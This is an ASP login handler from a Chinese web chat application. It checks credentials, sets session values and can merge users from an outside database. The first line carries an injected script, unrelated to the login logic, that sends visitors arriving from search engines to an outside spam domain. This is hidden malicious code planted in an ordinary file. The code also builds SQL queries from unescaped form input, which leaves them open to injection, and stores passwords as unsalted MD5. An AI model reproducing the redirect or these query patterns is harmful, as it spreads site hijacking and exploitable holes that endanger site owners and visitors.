d:\wwwroot\wuchunhua\liaotianim\inc\ValidLogin.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="DAL.asp"-->
002: <!--#include file="md5.asp"-->
003: <%
004: On Error Resume Next
005:
006: if request("Out")<>"" then DB_CONN.EXECUTE("delete from [XK_User_Online] where User_ID="&Session(Session_UserID_Arg)):Session(Session_UserID_Arg)="":RW "<script>location.href='../"&Web_Log_URL&"';</script>":response.end()
007: if request.form("UserName")="" then RW "<script>alert('用户名不能为空');location.href='../"&Web_Log_URL&"';</script>":response.end()
008: if request.form("UserPass")="" then RW "<script>alert('用户密码不能为空');location.href='../"&Web_Log_URL&"';</script>":response.end()
009:
010: function DeSetOnline(UID)
011:     dim OLTRS
012:     set OLTRS=Server.CreateObject( "ADODB.Recordset" )
013:     OLTRS.OPEN "select top 1 * from [XK_User_Online] where [User_ID]="&UID , DB_CONN , 1 , 3
014:     if OLTRS.eof or OLTRS.recordcount<1 then
015:         OLTRS.addnew()
016:     end if
017:         OLTRS("User_ID")=UID
018:         OLTRS("OL_Start_Time")=now()
019:         OLTRS("OL_End_Time")=dateadd( "s" , 60 , now())
020:         OLTRS("LogInTime")=now()
021:         OLTRS("Room_ID")=0
022:     OLTRS.update()
023:     OLTRS.close()
024: end function
025:
026:
027: dim Uname,Upass,URS,OLRS,YUname
028: YUname=request.form("UserName")
029: Uname=KLEncode(YUname)'base64加密
030: Upass=md5(request.form("UserPass"))
031: set URS=Server.CreateObject( "ADODB.Recordset" )
032: set URS=DB_CONN.EXECUTE("select * from [XK_User_Info] where [User_Name]='"&Uname&"' and [User_Pass]='"&Upass&"' ")
033: if URS.recordcount>0 then
034:     '用户ID
035:     Session(Session_UserID_Arg)=URS("User_ID")
036:     '用户名称
037:     Session(Session_UserName_Arg)=KLDecode(URS("User_Name"))
038:     '用户权限
039:     Session(Session_UserPower_Arg)=URS("User_Power")
040:     if request.cookies("IsGuide")="true" then
041:         response.redirect "../RoomList.asp"
042:     else
043:         response.redirect "../Guide.html"
044:     end if
045: else
046:     '整合开关
047:     if LCase(ApiConfig("API_IsOpen"))="true" then
048:         '整合开始
049:         dim SqlLinkStr,SqlIsLinked,APIConn,APIRs,TableIsOK,APIChatRs
050:         if LCase(ApiConfig("API_DB_Type"))="mssqlserver" then
051:             SqlLinkStr="Provider=Sqloledb; User ID ="&ApiConfig("API_DB_UserName")&"; Password="&ApiConfig("API_DB_UserPass")&"; Initial Catalog ="&ApiConfig("API_DB_DBName")&"; Data Source ="&ApiConfig("API_DB_IP")&";"
052:         elseif  LCase(ApiConfig("API_DB_Type"))="access" then
053:             SqlLinkStr="Provider=Microsoft.Jet.OLEDB.4.0;Password="&ApiConfig("API_DB_UserPass")&"; Data Source="&Server.MapPath(ApiConfig("API_DB_IP"))
054:         end if
055:         Set APIConn = Server.CreateObject("Adodb.Connection")'初始化连接
056:         APIConn.Open SqlLinkStr
057:         If err.Number<>0 Then
058:             SqlIsLinked=false
059:         Else
060:             SqlIsLinked=true
061:         End IF
062:         '数据库连接失败,则停止
063:         if SqlIsLinked=false then RW "<script>alert('密码错误或用户不存在,请检查数据库整合连接');location.href='../"&Web_Log_URL&"';</script>":response.end
064:         Set APIRs = Server.CreateObject( "ADODB.Recordset" )
065:         APIRs = APIConn.EXECUTE("select ["&ApiConfig("API_User_Name")&"],["&ApiConfig("API_User_NickName")&"],["&ApiConfig("API_User_Pass")&"],["&ApiConfig("API_User_Mail")&"],["&ApiConfig("API_User_Sex")&"] from ["&ApiConfig("API_DB_TableName")&"] where ["&ApiConfig("API_User_Name")&"]='"&YUname&"' and ["&ApiConfig("API_User_Pass")&"]='"&Upass&"' ")
066:         If err.Number<>0 Then
067:             TableIsOK=false
068:         Else
069:             TableIsOK=true
070:         End IF
071:         '表段连接失败,则停止
072:         if TableIsOK=false then RW "<script>alert('密码错误或用户不存在,请检查整合表段设置');location.href='../"&Web_Log_URL&"';</script>":response.end
073:         if APIRs.recordcount>0 then
074:             dim TSex
075:             if Cstr(APIRs(ApiConfig("API_User_Sex")))="男" then
076:                 TSex="0"
077:             elseif Cstr(APIRs(ApiConfig("API_User_Sex")))="女" then
078:                 TSex="1"
079:             else
080:                 TSex=APIRs(ApiConfig("API_User_Sex"))
081:             end if
082:             Set APIChatRs=Server.CreateObject( "ADODB.Recordset" )
083:             APIChatRs.Open "select top 1 * from [XK_User_Info]" , DB_CONN , 1 , 3
084:             APIChatRs.addnew()
085:             APIChatRs("User_Name")=KLEncode(APIRs(ApiConfig("API_User_Name")))
086:             APIChatRs("User_Pass")=APIRs(ApiConfig("API_User_Pass"))
087:             APIChatRs("User_Mail")=APIRs(ApiConfig("API_User_Mail"))
088:             APIChatRs("User_Sex")=APIRs(ApiConfig("API_User_Sex"))
089:             APIChatRs("User_NickName")=APIRs(ApiConfig("API_User_NickName"))
090:             APIChatRs("User_Power")=SysConfig("RegPowerID")
091:             APIChatRs.update()
092:             APIChatRs.close()
093:             APIChatRs.Open "select top 1 * from [XK_User_Info] where [User_Name]='"&YUname&"'" , DB_CONN , 1 , 3
094:             if APIChatRs.recordcount>0 then'整合成功
095:                 '用户ID
096:                 Session(Session_UserID_Arg)=APIChatRs("User_ID")
097:                 '用户名称
098:                 Session(Session_UserName_Arg)=KLDecode(APIChatRs("User_Name"))
099:                 '用户权限
100:                 Session(Session_UserPower_Arg)=APIChatRs("User_Power")
101:                 if request.cookies("IsGuide")="true" then
102:                     response.redirect "../RoomList.asp"
103:                 else
104:                     response.redirect "../Guide.html"
105:                 end if
106:             else
107:                 RW "<script>alert('密码错误或用户不存在,整合失败,请联系官方');location.href='../"&Web_Log_URL&"';</script>":response.end
108:             end if
109:         else'整合主站不存在数据则返回
110:             RW "<script>alert('密码错误或用户不存在!');location.href='../"&Web_Log_URL&"';</script>":response.end
111:         end if
112:         '整合结束
113:     else
114:         RW "<script>alert('密码错误或用户不存在');location.href='../"&Web_Log_URL&"';</script>"
115:     end if
116: end if
117:
118: %
>
119:
120: